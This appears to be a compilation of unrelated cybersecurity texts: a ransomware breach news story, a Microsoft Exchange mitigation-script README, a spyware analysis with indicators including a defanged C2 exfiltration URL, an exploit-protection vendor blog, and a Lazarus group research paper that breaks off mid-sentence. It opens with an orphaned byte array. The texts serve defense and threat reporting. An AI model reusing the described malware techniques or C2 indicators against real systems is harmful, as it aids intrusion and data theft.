0xb1, 0x28, 0x42, 0x72, 0xf5, 0x8b, 0x9f, 0xaf, 0xe3, 0x9b, 0x7e, 0x3f, 0x27, 0xa3, 0x02, 0xcd, 0x99, 0xb7, 0x19, 0x7a, 0x95, 0xc2, 0xe1, 0xcc, 0xe8, 0x65, 0x17, 0xbc, 0x63, 0xfe, 0xd8, 0x64, 0xb1, 0x2d, 0xe2, 0xa5, 0x03, 0x91, 0xb7, 0x2c, 0x98, 0xc4, 0x7e, 0xab, 0x7d }; ```
# Visser, a Parts Manufacturer for Tesla and SpaceX, Confirms Data Breach A precision parts maker for space and defense contractors has confirmed a “cybersecurity incident,” which TechCrunch has learned was likely caused by ransomware. Visser Precision, a Denver, Colorado-based manufacturer, makes custom parts for a number of industries, including automotive and aeronautics. In a brief statement, the company confirmed it was “the recent target of a criminal cybersecurity incident, including access to or theft of data.” The company said it “continues its comprehensive investigation of the attack, and business is operating normally,” a spokesperson told TechCrunch. Security researchers say the attack was caused by the DoppelPaymer ransomware, a new kind of file-encrypting malware which first exfiltrates the company’s data. The ransomware threatens to publish the stolen files if the ransom is not paid. DoppelPaymer is the latest in an emerging list of data-stealing ransomware. In December, security staffing firm Allied Universal was one of the first companies that had sensitive employee and business data published after the company declined to pay a $2.3 million ransom for the data. Brett Callow, a threat analyst at security firm Emsisoft, first alerted TechCrunch to the website that was publishing files stolen by the DoppelPaymer ransomware. The website contains a list of files stolen from Visser, including folders with customer names— including Tesla, SpaceX, and aircraft maker Boeing, and defense contractor Lockheed Martin. A portion of the files were made available for download. The documents included non-disclosure agreements between Visser and both Tesla and SpaceX. Another file appeared to be a partial schematic for a missile antenna marked as containing “Lockheed Martin proprietary information.” Spokespeople for Tesla, SpaceX, and Boeing did not immediately comment outside business hours. A Lockheed Martin spokesperson said the company is “aware of the situation with Visser Precision and are following our standard response process for potential cyber incidents related to our supply chain.” The DoppelPaymer ransomware has been active since mid-last year, and its victims have included the Chilean government and Pemex, Mexico’s state-owned petroleum company. But unlike the Maze ransomware, from which DoppelPaymer derives much of its data-stealing inspiration, the ransom note does not say that data has been stolen. Instead, it’s only disclosed if the company goes to the ransomware’s website to pay. “Some companies may not even realize that their data has been exfiltrated prior to it being published,” said Callow. The website hosting the stolen files said there was a “lot” more files to be published. “Data theft is a strategy that multiple groups have now adopted and, consequently, ransomware incidents should be treated as data breaches until it can be established they are not,” said Callow.
# Security Scripts ## Exchange On-premises Mitigation Tool (EOMT) This script contains mitigations to help address the following vulnerabilities: CVE-2021-26855. This is the most effective way to help quickly protect and mitigate your Exchange Servers prior to patching. We recommend this script over the previous ExchangeMitigations.ps1 script. The Exchange On-premises Mitigation Tool automatically downloads any dependencies and runs the Microsoft Safety Scanner. This is a better approach for Exchange deployments with Internet access and for those who want an attempt at automated remediation. We have not observed any impact to Exchange Server functionality via these mitigation methods. EOMT.ps1 is completely automated and uses familiar mitigation methods previously documented. This script has four operations it performs: 1. Check for the latest version of EOMT and download it. 2. Mitigate against current known attacks using CVE-2021-26855 via a URL Rewrite configuration. 3. Scan the Exchange Server using the Microsoft Safety Scanner. 4. Attempt to remediate compromises detected by the Microsoft Safety Scanner. ### Requirements to run the Exchange On-premises Mitigation Tool - External Internet Connection from your Exchange server (required to download the Microsoft Safety Scanner and the IIS URL Rewrite Module). - PowerShell script must be run as Administrator. ### System Requirements - PowerShell 3 or later - IIS 7.5 and later - Exchange 2013, 2016, or 2019 - Windows Server 2008 R2, Server 2012, Server 2012 R2, Server 2016, Server 2019 If the Operating System is older than Windows Server 2016, KB2999226 for IIS Rewrite Module 2.1 must be installed. ### Who should run the Exchange On-premises Mitigation Tool | Situation | Guidance | |-----------|----------| | If you have done nothing to date to patch or mitigate this issue | Run EOMT.PS1 as soon as possible. This will both attempt to remediate as well as mitigate your servers against further attacks. Once complete, follow patching guidance to update your servers. | | If you have mitigated using any/all of the mitigation guidance Microsoft has given | Run EOMT.PS1 as soon as possible. This will both attempt to remediate as well as mitigate your servers against further attacks. Once complete, follow patching guidance to update your servers. | | If you have already patched your systems and are protected, but did NOT investigate for any adversary activity | Run EOMT.PS1 as soon as possible. This will attempt to remediate any existing compromise that may not have been fully remediated before patching. | | If you have already patched and investigated your systems for any indicators of compromise | No action is required. | ### Important note regarding Microsoft Safety Scanner The Exchange On-premises Mitigation Tool runs the Microsoft Safety Scanner in a quick scan mode. If you suspect any compromise, we highly recommend you run it in the FULL SCAN mode. FULL SCAN mode can take a long time but if you are not running Microsoft Defender AV as your default AV, FULL SCAN will be required to remediate threats. ### Exchange On-premises Mitigation Tool Examples - To run the default recommended way of using EOMT.ps1: ```powershell .\EOMT.ps1 ``` - To run a Full MSERT Scan (recommended only if the initial quick scan discovered threats): ```powershell .\EOMT.ps1 -RunFullScan -DoNotRunMitigation ``` - To run the Exchange On-premises Mitigation Tool with MSERT in detect only mode: ```powershell .\EOMT.ps1 -DoNotRemediate ``` - To roll back the Exchange On-premises Mitigation Tool mitigations: ```powershell .\EOMT.ps1 -Rollbackmitigation ``` - To prevent EOMT from fetching updates to EOMT.ps1 from the internet: ```powershell .\EOMT.ps1 -DoNotAutoUpdateEOMT ``` ### Exchange On-premises Mitigation Tool Q & A **Question:** What mode should I run EOMT.ps1 in by default? **Answer:** By default, EOMT.ps1 should be run without any parameters. This will run the default mode which does the following: 1. Checks if your server is vulnerable based on the presence of the SU patch or Exchange version. 2. Downloads and installs the IIS URL rewrite tool (only if vulnerable). 3. Applies the URL rewrite mitigation (only if vulnerable). 4. Runs the Microsoft Safety Scanner in "Quick Scan" mode (vulnerable or not). **Question:** What if I run a full scan and it’s affecting the resources of my servers? **Answer:** You can terminate the process of the scan by running the following command in an Administrative PowerShell session: ```powershell Stop-Process -Name msert ``` **Question:** What is the real difference between this script (EOMT.PS1) and the previous script Microsoft released (ExchangeMitigations.Ps1)? **Answer:** The Exchange On-premises Mitigation Tool was released to help pull together multiple mitigation and response steps, whereas the previous script simply enabled mitigations. ### Test-ProxyLogon.ps1 Formerly known as Test-Hafnium, this script automates all four of the commands found in the Hafnium blog post. It also has a progress bar and some performance tweaks to make the CVE-2021-26855 test run much faster. **Usage:** - To check all Exchange servers and save the reports: ```powershell Get-ExchangeServer | .\Test-ProxyLogon.ps1 -OutPath $home\desktop\logs ``` - To check the local server only: ```powershell .\Test-ProxyLogon.ps1 -OutPath $home\desktop\logs ``` - To check the local server and copy the identified logs and files to the OutPath: ```powershell .\Test-ProxyLogon.ps1 -OutPath $home\desktop\logs -CollectFiles ``` - To display the results without saving them: ```powershell .\Test-ProxyLogon.ps1 -DisplayOnly ``` ### Frequently Asked Questions **The script says it found suspicious files, and it lists a bunch of zip files. What does this mean?** The script will flag any zip/7x/rar files that it finds in ProgramData. An administrator should review the files to determine if they are valid. **I'm having trouble running the script on Exchange 2010.** If PowerShell 3 is present, the script can be run on Exchange 2010. It will not run on PowerShell 2. ### ExchangeMitigations.ps1 **NOTE:** This script is obsolete and is no longer maintained. Please use EOMT.ps1 instead. This script contains 4 mitigations to help address the following vulnerabilities: - CVE-2021-26855 - CVE-2021-26857 - CVE-2021-27065 - CVE-2021-26858 For this script to work you must have the IIS URL Rewrite Module installed. To apply all mitigations with MSI install: ```powershell .\ExchangeMitigations.ps1 -FullPathToMSI "FullPathToMSI" -WebSiteNames "Default Web Site" -ApplyAllMitigations ``` To apply all mitigations without MSI install: ```powershell .\ExchangeMitigations.ps1 -WebSiteNames "Default Web Site" -ApplyAllMitigations -Verbose ``` To rollback all mitigations: ```powershell .\ExchangeMitigations.ps1 -WebSiteNames "Default Web Site" -RollbackAllMitigation ``` To apply multiple or specific mitigations: ```powershell .\ExchangeMitigations.ps1 -WebSiteNames "Default Web Site" -ApplyECPAppPoolMitigation -ApplyOABAppPoolMitigation ``` To rollback multiple or specific mitigations: ```powershell .\ExchangeMitigations.ps1 -WebSiteNames "Default Web Site" -RollbackECPAppPoolMitigation -RollbackOABAppPoolMitigation ``` ### http-vuln-cve2021-26855.nse **NOTE:** This file is obsolete and is no longer maintained. Please use EOMT.ps1 instead. This file is for use with nmap. It detects whether the specified URL is vulnerable to the Exchange Server SSRF Vulnerability (CVE-2021-26855). For usage information, please read the top of the file.
# APT37 Using a New Android Spyware, Chinotto Android Spyware is a program that has been used by Threat Actors (TAs) to steal personal data from the device without the user’s knowledge. This report will focus on one such malicious application used by the APT (Advanced Persistent Threat) group APT37, also known by the following names: Reaper, Ricochet Chollima, ScarCruft group. This group performs its malicious activities through an application claiming to be the Secure Talk application. APT37 is a North Korean state-sponsored cyberespionage group that has been active since around 2012. This group is known to target victims from countries in Asia such as South Korea, Japan, Vietnam, Russia, Nepal, China, and India. APT37 has also targeted Romania, Kuwait, and various parts of the Middle East. Cyble Research Labs came across a Securelist article where researchers claimed that a fresh attack was carried out targeting North Korean defectors and human rights activists. The Threat Actor (TA) APT37 used new spyware called “Chinotto” to carry out these attacks. Cyble Research Labs downloaded one of the samples and performed a deep-dive analysis of the Chinotto Android spyware. APT37 has also been linked to malicious campaigns between 2016-2018. In 2016, they targeted North Korean defectors, human rights activists, and journalists covering news related to North Korea and government organizations associated with the Korean Peninsula. They have been linked to high-profile attacks such as Operation Daybreak, Operation Erebus, Golden Time, Evil New Year, Are you Happy?, FreeMilk, North Korean Human Rights, and Evil New Year 2018. The malware is designed for stealthy espionage. Once this application is successfully executed on user devices, it can steal sensitive data like contacts, SMS, call logs, device information, and files from the device’s external storage. ## Technical Analysis ### APK Metadata Information - **App Name:** SecureTalk - **Package Name:** com.private.talk - **SHA256 Hash:** 8fb42bb9061ccbb30c664e41b1be5787be5901b4df2c0dc1839499309f2d9d93 The application flow shows that upon being launched, the application asks for certain sensitive permissions, after which it displays the login page. During this time, the APK performs its malicious activities behind the scenes. ### Manifest Description The application requests thirteen different permissions. Of these thirteen permissions, the attackers could abuse eight to carry out the following activities: - Reading SMSs, Call Logs, and Contacts data. - Reading current cellular network information, phone number, and the serial number of the victim’s phone, the status of any ongoing calls, and a list of any Phone Accounts registered on the device. - Reading or writing files on the device’s external storage. #### Dangerous Permissions | Permissions | Description | |----------------------------------|-----------------------------------------------------------------------------| | READ_SMS | Access phone’s messages | | READ_CONTACTS | Access phone’s contacts | | READ_CALL_LOG | Access phone’s call logs | | READ_PHONE_STATE | Allows access to phone state, including the current cellular network information, the phone number, and the serial number of this phone, the status of any ongoing calls, and a list of any Phone Accounts registered on the device | | WRITE_EXTERNAL_STORAGE | Allows the app to write or delete files to the external storage of the device | | READ_EXTERNAL_STORAGE | Allows the app to read the contents of the device’s external storage | | GET_ACCOUNTS | Allows the app to get the list of accounts used by the phone | | READ_PHONE_NUMBERS | Allows the app to read the device’s phone number(s). | ### Source Code Description The code snippets show that the application steals the device’s contact data, SMS data, call logs, and device information, such as: - Reading the device’s phone number(s). - Reading Android Operating System version information. - Reading device details such as brand name, model, serial number, etc. - Checking for the presence of external storage on the device. The application also steals account details being used on the device and image and audio files. It collects the data from the device and writes it in a text file. The application’s code flow uploads the data to the TA’s Command and Control (C&C) server and performs activities with commands defined by the TA(s). ### Traffic Analysis During traffic analysis of the application, we identified that it continuously communicates with the TA’s C&C server. The application uploads sensitive data such as contacts, call logs, and SMS from the device to the TA’s C&C. ### Threat Actor Infrastructure Analysis Cyble Research Labs has identified that the TA’s infrastructure was hosted in South Korea. The TTL value of the MX record of the domain is 60, which is generally an indicator of Fast-Flux behavior. ## Conclusion Chinotto is spyware targeting specific users to steal sensitive information such as contacts, SMS, call logs, and files. It also has the capability to record audio from the device without the victim’s knowledge. Threat Actors constantly adapt their methods to avoid detection and find new ways to target users through sophisticated techniques. Such malicious applications often masquerade as legitimate applications to confuse users into installing them. Users should install applications only after verifying their authenticity and install them exclusively from the official Google Play Store to avoid such attacks. ## Our Recommendations We recommend that our readers follow the best practices given below: ### How to prevent malware infection? - Download and install software only from official app stores like Google Play Store. - Use a reputed anti-virus and internet security software package on your connected devices, including PC, laptop, and mobile. - Use strong passwords and enforce multi-factor authentication wherever possible. - Enable biometric security features such as fingerprint or password for unlocking the mobile device where possible. - Be wary of opening any links in SMSs or emails delivered to your phone. - Ensure that Google Play Protect is enabled on Android devices. - Be careful while enabling any permissions. - Keep your devices, operating systems, and applications updated. ### How to identify whether you are infected? - Regularly check the Mobile/Wi-Fi data usage of applications installed in mobile devices. - Keep an eye on the alerts provided by Anti-viruses and Android OS and take necessary actions accordingly. ### What to do when you are infected? - Disable Wi-Fi/Mobile Data and remove SIM Card as in some cases the malware can re-enable the Mobile Data. - Perform Factory Reset. - Remove the application in case factory reset is not possible. - Take a backup of personal media files (excluding mobile applications) and perform a device reset. ### What to do in case of any fraudulent transaction? - In case of a fraudulent transaction, immediately report it to the concerned bank. ### What should banks do to protect their customers? - Banks and other financial entities should educate customers on safeguarding themselves from malware attacks via telephone, SMSs, or emails. ## MITRE ATT&CK® Techniques | Tactic | Technique ID | Technique Name | |---------------------|--------------|----------------------------------------------| | Initial Access | T1476 | Deliver Malicious App via Other Means | | Execution | T1575 | Native Code | | Persistence | T1402 | Broadcast Receivers | | Collection | T1412 | Capture SMS Messages | | Collection | T1432 | Access Contacts List | | Collection | T1433 | Access Call Log | | Collection | T1533 | Data from Local System | ## Indicators Of Compromise (IOCs) | Indicators | Indicator Type | Description | |---------------------------------------------------------------------------|----------------|------------------| | 8fb42bb9061ccbb30c664e41b1be5787be5901b4df2c0dc1839499309f2d9d93 | SHA256 | Malicious APK | | hxxp://haeundaejugong.com/data/jugong/do.php?type=file&direction=send&id=1295c8887ec39859_hd | URL | TA’s C&C |
# Hypervisor Introspection Thwarts Web Memory Corruption Attack in the Wild By Michael Rosen / Feb 10, 2020 New remote memory corruption vulnerability in Internet Explorer browsers allows for full takeover of infected systems. Bitdefender has confirmed exploitation in the wild of CVE-2020-0674 with analysis of 2 distinct executable payloads. Hypervisor Introspection delivers true zero-day protection by preventing all common memory exploit techniques. On January 17, Microsoft announced Security Advisory ADV200001, describing a zero-day remote code execution in Internet Explorer that has been actively exploited in the wild. This announcement continues the parade of devastating memory-space exploits including EternalBlue and BlueKeep. **Security Advisory ADV200001 | Microsoft Guidance on Scripting Engine Memory Corruption Vulnerability** CVE-2020-0674 is a recently discovered browser vulnerability in the Microsoft scripting engine that allows for remote code execution (RCE) on Internet Explorer browsers from malicious JavaScript (.js) files. The exploit carries Microsoft’s highest severity rating of Critical and it affects Internet Explorer versions 9, 10, and 11. **Microsoft, DHS Warn of Zero-Day Attack Targeting IE Users** Bitdefender has confirmed that this critical vulnerability is being actively exploited in the wild. Security researchers in Bitdefender Labs have obtained and analyzed multiple samples to explore its tactics, techniques, and procedures. We have independently verified that 2 distinct executable payloads are unleashed by the exploit and currently in circulation: - 785a48daa5d6d3d1abbc91eeecf9943a0fa402084cea4e66e6c2e72c76107b86 - 53f213309adce8b2bab567a16fd1bb71cc1199c65ac384345d0877ad1e9798a2 Below are Bitdefender’s analysis and key findings concerning the exploitation of CVE-2020-0674 in the wild. We also demonstrate the successful detection and defeat of this dangerous exploit in virtual datacenter systems protected by Bitdefender Hypervisor Introspection (HVI)—including standard desktops, servers, and VDI desktops. HVI prevents this type of exploit, closing the gap between the time exploit code is used in the wild and the time the systems are patched. Hypervisor Introspection intercepts and denies the attempt to access and overwrite protected memory areas. Instead of scanning millions of malware samples, Bitdefender Hypervisor Introspection detects all known memory attack techniques—few in number and only visible at the hypervisor level—identifying advanced and zero-day attacks as easily as any known exploit, preventing the malicious behavior from executing. HVI requires no signature updates, since the common attack techniques remain relatively constant, even as the tools and procedures change with each specific attack. Bitdefender Labs maintains constant vigilance, keeping pace with new techniques and adding them to HVI’s detection stack. **Key Findings** 1. Malicious URLs from phishing links contain multiple JavaScripts, each operating on a different version of Windows to exploit CVE-2020-0674. 2. When the RCE memory-space exploit is successful, the scripts download and run two distinct executable files in memory with the privileges of the logged-in user. 3. The attack attempts to access a protected memory area, to write data to read-only memory, and to execute arbitrary code from a non-executable area such as the heap stack or process stack. **Conclusions** Hypervisor Introspection is essential in the virtual datacenter, where built-in protection against new memory exploits and other advanced attacks using well-known exploit techniques cannot come at the expense of VM efficiency, density, or performance. Don’t rely on vendor software patches to keep you safe, as the attackers will always be one step ahead. Instead, proactively take away their operating space with HVI and set your defenses on the high ground of memory space. Bitdefender has demonstrated proactive prevention of memory vulnerabilities and exploits time and again—from EternalBlue to BlueKeep and more—proving that proactive defense with denial is always better than reactive detection.
# Multi-Universe of Adversary: Multiple Campaigns of Lazarus Group and Its Connection **Seongsu Park** Kaspersky, Republic of Korea [email protected] ## Abstract The cyber threat landscape is one that changes at an incredibly rapid pace, and the characteristics of various threat actors often evolve at the same pace. Although some threat actors maintain their strategies for a long time, sophisticated actors continuously sharpen their tools, techniques, and procedures (TTPs) and aggressively adopt new attack methodologies. Perhaps no other threat actor exhibits this trend more than the Lazarus group: an extremely prolific threat actor operating globally and linked to high-profile and devastating cyber attacks such as the Sony Pictures Entertainment hack, several cryptocurrency hacks, and the WannaCry worm outbreak. Unlike other state-sponsored threat actors, Lazarus uses its attack campaigns to achieve a variety of aims, from cyber espionage to financial profit. In fact, it is because of this broad spectrum of goals that the group keeps expanding the scale of its cyber attacks and drawing the attention of the security community. Untangling and connecting the various waves of the group’s activity has become no small undertaking, and different security researchers have their own methodologies and conclusions. In this paper, we will focus on a relatively novel malware cluster of the Lazarus group, as well as our perspective on the various representative clusters of the Lazarus group, their connections with one another, and their differences. ## Introduction After the Sony Pictures Entertainment hack and the publication of the Operation BlockBuster research, the Lazarus group began to garner much more attention from the security industry. When Lazarus first began operating, they used a small malware cluster and few cyber attack capabilities. We have continued to track this malware cluster, named Manuscrypt. In its early stages, the Manuscrypt cluster utilized simple malware sets and was used for an extended period to achieve various goals. However, Manuscrypt’s modus operandi began to change in 2018. Several malware clusters started to spin off from the original malware and were developed independently, creating new malware strains and attack methodologies. Today, Lazarus has become one of the biggest and most notable threat actors with sufficient capabilities to attack various industries simultaneously. As the scale of the Lazarus group increases, many security vendors have published their perspectives on attribution and clustering. Such endeavors by security vendors are always positive in nature, as they’re a vital part of keeping the community informed about threat actors’ progress and latest activity. However, such efforts can occasionally lead to confusion because of the difference in standards. The attribution of the Lazarus group is incredibly tangled these days, but, given the group’s highly prolific nature, it’s a situation that needs clarity. That is why we would like to share our perspective on this group and its representative clusters, starting with Manuscrypt. ## Introduction of Clusters The clusters mentioned in this report are not all of the clusters utilized by the Lazarus group. Rather, we describe the most commonly used and well-known clusters to us. We have published information about several clusters publicly; however, some are unfamiliar to the public, so we will add a brief introduction to each of them. ### AppleJeus Kaspersky published details of Operation AppleJeus and its updates in 2018. In this operation, the Lazarus group set up fake websites and social media profiles related to cryptocurrency companies. A remarkable aspect of this operation is that Lazarus targeted macOS users at first. After gaining trust from the victim, Lazarus sent an email or a social media message to the victim, prompting them to install a cryptocurrency trading application. The AppleJeus cluster updates its infection scheme continuously. When the victim installs the trojanized application, it fetches the next-stage payload after sending the victim’s profiles. However, this next-stage payload is delivered selectively by the malware operator. As a result, only valuable hosts receive the following stage malware. The trojanized application fetches Manuscrypt/Fallchill variants, which are attributed to the Lazarus group. The malware also uses multi-stage infection in this phase. Generally, the installer malware implants the malware for the next phase of the infection. Eventually, the loader malware loads a backdoor component and begins backdoor operations. **From when:** June 2018 **Tools:** Trojanized application (Windows and macOS version), installer, loader, backdoor **Targeted platform:** Windows, macOS **Victimology:** Cryptocurrency exchange, FinTech company ### ThreatNeedle The ThreatNeedle cluster is the most heavily used by the Lazarus group. Kaspersky discovered this variant in a cryptocurrency exchange in the middle of 2018. Since then, this cluster has been evolving and has been used aggressively. The Lazarus group spreads the ThreatNeedle cluster using various methods: watering-hole attacks, spear phishing with weaponized documents, and trojanized applications. ThreatNeedle is a representative malware cluster using multi-stage infection. It consists of various components, such as an installer, loader, injector, downloader, and backdoor. Usually, binary infection starts from the installer or loader component after initial infection. As the name implies, the installer consists of the pieces to implant. The loader or injector is the primary element used in this cluster, and it plays a very important role. For example, when malware operators move laterally, they copy the loader malware to the remote host and execute it manually. The loader and injector always have a target file to be loaded or injected. They read the target contents from various sources: - From the loader itself - From a hard-coded file path - From a registry key saved by an installer They also use various algorithms to decrypt payloads, such as XOR, RC4, and AES. The backdoor executed by the loader and injector communicates with the C2 server and only runs in memory. Moreover, ThreatNeedle uses various tricks to hinder analysis: - It retrieves API addresses at runtime. - It gets a decryption key from the command line or file. - It loads the decryption key or configuration data from an encrypted file or registry. During our efforts to track this cluster, we observed many victims. The Lazarus group used this cluster for various purposes: financial profit and cyber espionage. When we first noticed this cluster, it was focused on attacking cryptocurrency-related companies. However, in early 2019, it shifted targets to a mobile games developer and mobile games software company. The primary intention of the cluster is to compromise a renowned mobile application and then collect defense and government-related intelligence using the compromised mobile application. Another big shift happened in early 2020: this cluster started to attack the defense industry aggressively. We confirmed that the Lazarus group successfully compromised and exfiltrated data from one defense company. In early 2021, the Google Threat Analysis Group (TAG) announced that the Lazarus group had attacked security researchers with highly sophisticated social engineering, and it was the ThreatNeedle cluster that was used in this campaign. As we can see, the ThreatNeedle cluster is the most widely used tool of the Lazarus group. **From when:** February 2018 **Tools:** Installer, downloader, loader, injector, backdoor **Targeted platform:** Windows, Android **Victimology:** Cryptocurrency businesses, mobile games company, defense industry, security researchers ### DeathNote (a.k.a. DreamJob) The DeathNote cluster was discovered in 2018 at cryptocurrency exchanges. When we first found this cluster, it only targeted cryptocurrency exchanges for financial profit. But from early 2020, it shifted its target to those interested in defense industry jobs. The description of a vacancy in the defense industry was used as a decoy document. ClearSky also published a comprehensive ‘Operation DreamJob’ report on this cluster. This cluster uses spear phishing with remote-template linked Word documents or trojanized PDF reader programs. Those two initial infection vectors create a downloader responsible for uploading profiles of the victim and fetching the next-stage payload. The malware operator only delivers the next payload if the victim is deemed valuable by the attackers. Occasionally, the threat actor uses a more complicated binary infection by adopting an injector or loader. The final payload is the Manuscrypt or COPPERHEDGE malware already attributed to the Lazarus group. **From when:** October 2018 **Tools:** Trojanized PDF reader, remote template injection malicious Word documents, downloader, backdoor (Manuscrypt/COPPERHEDGE) **Targeted platform:** Windows **Victimology:** Automobile, academic & defense industry ### Bookcode The Bookcode cluster is a relatively novel one. This cluster was discovered in the middle of 2020 but has been used since 2018. It utilizes the ‘bookcode’ parameter in HTTP traffic for C2 communication, hence the name Bookcode. The Lazarus group delivers this cluster using various methods: trojanized applications, watering holes, and supply-chain attacks. Initially, we discovered this malware at a software vendor in South Korea. Lazarus had delivered the Bookcode malware several times against this victim to compromise their supply chain. Moreover, ESET also published a report that the Lazarus group had conducted a supply-chain attack using the Bookcode cluster. In early 2021, the Lazarus group also attacked a pharmaceutical company using the Bookcode cluster. **From when:** July 2018 **Tools:** Installer, injector, backdoor **Targeted platform:** Windows **Victimology:** Software vendor, defense contractor, pharmaceutical company ### CookieTime (a.k.a. LCPDot) While investigating the ThreatNeedle cluster targeting the defense industry, we discovered different malware variants named CookieTime (a.k.a. LCPDot). This malware uses an encoded cookie value to deliver the request type to the C2 server and fetch command files. In this communication process, the malware takes advantage of steganography techniques. The data between the C2 server and the victim are encrypted, and a GIF header is added to evade network detection. With this cluster, Lazarus employed macro-embedded Word documents or trojanized applications to infect the victim. The malicious Word document implants a downloader named Agamemnon (from its internal name) to fetch the next payload. After sending the profile of the victim, the CookieTime malware is delivered. **From when:** August 2020 **Tools:** Trojanized application, loader, downloader, backdoor **Targeted platform:** Windows **Victimology:** Defense industry, energy industry, pharmaceutical companies ### Mata (a.k.a. Dacls) The Mata cluster has several components, such as a loader, orchestrator, and plug-ins. This comprehensive framework can target Windows, Linux, and macOS operating systems. The first artifacts we found relating to Mata were used around April 2018. After that, the actor behind this advanced malware framework used it aggressively to infiltrate corporations around the world. The primary purpose of this malware cluster was to spread ransomware or exfiltrate sensitive information from the victim. Unlike the other clusters, the Mata cluster has the same aims as a cybercrime group. **From when:** May 2018 **Tools:** Loader, orchestrator, plug-ins **Targeted platform:** Windows, macOS, Linux **Victimology:** Various companies ## Connections Between the Clusters Each cluster has a different infection scheme and components. However, by understanding the full attack procedure, we discovered many overlaps between the clusters. Based on these connections, we have been able to attribute these clusters to the same threat actor. The first overlap is code similarities. Most clusters started from the same malware origin. Although the first-stage payload does not have any code overlap, the threat actor used known Lazarus malware in the second and third stages. Another connection is the similarity of post-exploitation tools. For example, the Lazarus group used a home-made tunneling tool to maintain auxiliary access. This tunneling tool was discovered in both the AppleJeus cluster and the ThreatNeedle cluster. The next overlap is the sharing of command-and-control servers. While tracking the Lazarus group, we had several opportunities to investigate its command-and-control infrastructure. The CookieTime, Bookcode, and ThreatNeedle clusters made heavy use of compromised web servers in South Korea, and those clusters occasionally shared C2 servers. Although the paths of the corresponding C2 script were different, the same compromised web server was abused in a similar period. Moreover, an identical custom webshell was used to control the ThreatNeedle and DeathNote C2 servers. The Lazarus group uploads different malware cluster scripts after compromising those servers. In addition, different malware variants were discovered during the same incident. For example, when Lazarus attacked the defense industry, it utilized a profiling malware named LPEclient with the ThreatNeedle cluster. The Bookcode cluster also used LPEclient when it attacked South Korea. Simply put, we can summarize the connection between the clusters based on the following. Several clusters have code overlaps and similarities in metadata. Some clusters have a weak overlap with others, while in other cases one cluster has many overlaps with others. Note that ThreatNeedle, DeathNote, and Bookcode have relatively strong connections. They show substantial overlaps, including sharing a C2 server, having been discovered from the same victim, and using the same tools. On the other hand, Mata has less connection with the previously known Lazarus clusters. ## Differences Lazarus’s arsenal has many overlaps. So why, then, do we put some tools in one cluster and call them by one name to avoid chaos in the security industry? We try to categorize those clusters because there are still many differences in their tools and techniques. Organizing each campaign based on their technical differences is essential. From the defender’s perspective, different attack methodologies require different defense strategies, and the Lazarus group’s clusters still have various differences. Therefore, it’s necessary to cluster each cyber threat with a thorough technical background. ### Used Tools and Techniques When we look into each cluster’s infection procedure and malware component, we can easily see that they use different infection schemes. The Lazarus group usually uses well-known initial infection vectors, some of which include spear phishing and watering holes. But several clusters prefer specific infection methods. For example, AppleJeus relied heavily on fake company websites and social media accounts to acquire a high level of trust from the victim and always generated trojanized cryptocurrency-related applications to compromise the victim. Like other threat actors, the Lazarus group relies heavily on spear phishing with a weaponized document. We’ve witnessed that only the ThreatNeedle and Bookcode clusters utilized the watering-hole techniques to deliver malware. The Mata cluster only used the exploitation of Internet-facing network devices. | Clusters | Infection method | Malware component | |---------------|----------------------------------------------------------------------------------|-------------------------------------------------------| | AppleJeus | Trojanized application, spear phishing, contact through social media | Installer, downloader, loader, backdoor | | ThreatNeedle | Trojanized application, watering hole, contact through social media | Installer, downloader, loader, injector, backdoor | | DeathNote | Spear phishing, trojanized application (PDF reader) | Downloader, backdoor | | Bookcode | Watering hole, trojanized application (a security program) | Installer, injector, backdoor | | CookieTime | Spear phishing, trojanized application (a well-known program) | Downloader, loader, backdoor | | Mata | Exploit vulnerable network device | Loader, orchestrator, plug-ins | Generally, the Lazarus group configures command-and-control servers in multiple stages. The first-stage C2 server is faced with the implant and is responsible for the proxy. It saves profiles from the victim and forwards them to the second-stage server, as well as delivering the malware operator’s commands from the second-stage server. The malware operator uses the second-stage server to control the first-stage servers and backdoors. Each cluster has a different C2 server structure, but the C2 servers for ThreatNeedle, Bookcode, and CookieTime consist of similar components: - C2 script: script to control implant and forward commands from the second-stage server - Log file: saves connection logs from the implant - Configuration file: second-stage server address Although the structure of the C2 servers is similar, they still contain many differences. For example, while ThreatNeedle and Bookcode have similar C2 server structures, they utilize a different method when they deliver commands from the second-stage server and respond to the backdoor. The ThreatNeedle C2 server delivers that information using files, but the Bookcode C2 server uses a global variable. In addition, the DeathNote C2 server has significant differences. The DeathNote C2 server, when faced with the downloader component, has files that contain allowed and blocked IP addresses. If the conditions match, this script delivers the next-stage payload. ### Developer Preference Every software developer has a preference for a particular development environment, and it’s the same for malware developers. Some malware authors prefer to develop their malware under a particular OS environment and compiler version. Many malware developers behind the Lazarus clusters still prefer Linker version 10, according to the metadata of the malware. This means they usually used Visual Studio 2010 10.0. The novel malware cluster CookieTime uses the latest version of the compiler, Visual Studio 2019 Version 16.7. The compiler version from Rich Headers shows similar information. The fact that many malware developers behind the Lazarus clusters used various different compiler versions and heavily relied on VS2010 SP1 build 40219 suggests that different malware developers are working behind these clusters. | Clusters | Linker version from metadata | Representative compiler version from Rich Headers | |---------------|------------------------------|--------------------------------------------------| | AppleJeus | 10, 14 | VS2010 SP1 build 40219, VS2008 SP1 build 30729 | | ThreatNeedle | 10, 14 | VS2013 build 21005, VS2010 SP1 build 40219 | | DeathNote | 12 | VS2010 SP1 build 40219 | | Bookcode | 10 | VS2008 SP1 build 30729 | | CookieTime | 10, 14.27 | VS2010 SP1 build 40219 | | Mata | 14.14 | VS2015 UPD3.1 build 24215 | When a developer develops software, they usually use a public library or source code for common functionalities. Generally, malware aims to compress the data sent to the C2 server to decrease the size. If the developer creates their code for compression, it takes a lot of time and effort. So, they usually search public codes from the Internet and adapt them for their malware. In addition, malware developers tend to prefer specific modules for covert communication. The ThreatNeedle cluster usually utilized the OpenSSL 0.9.8k library for SSL communication. However, the Mata malware developers prefer the openssl-1.1.0f library. | Clusters | zlib | Curl | OpenSSL 0.9.8k | openssl-1.1.0f | SQLite Format 3 | |---------------|------|------|----------------|----------------|------------------| | AppleJeus | | | X (macOS) | | | | ThreatNeedle | X | | X | | | | DeathNote | X | | | | | | Bookcode | X | | | | | | CookieTime | | | | | | | Mata | | | | X | | ### Post-Exploitation Tactics Once an initial foothold has been acquired, the malware operator profiles the victim and collects additional information for further activities. The post-exploitation phase relies heavily on keyboard-hands-on activities, likely executing Windows commands with specific options. Thus, we can identify the habits of the humans behind the attacks from this phase. In addition, each threat actor uses a unique strategy for a post-exploitation phase. - Generally speaking, each threat actor shows a different signature using the command line when working interactively via an installed backdoor. As a result of comparing each 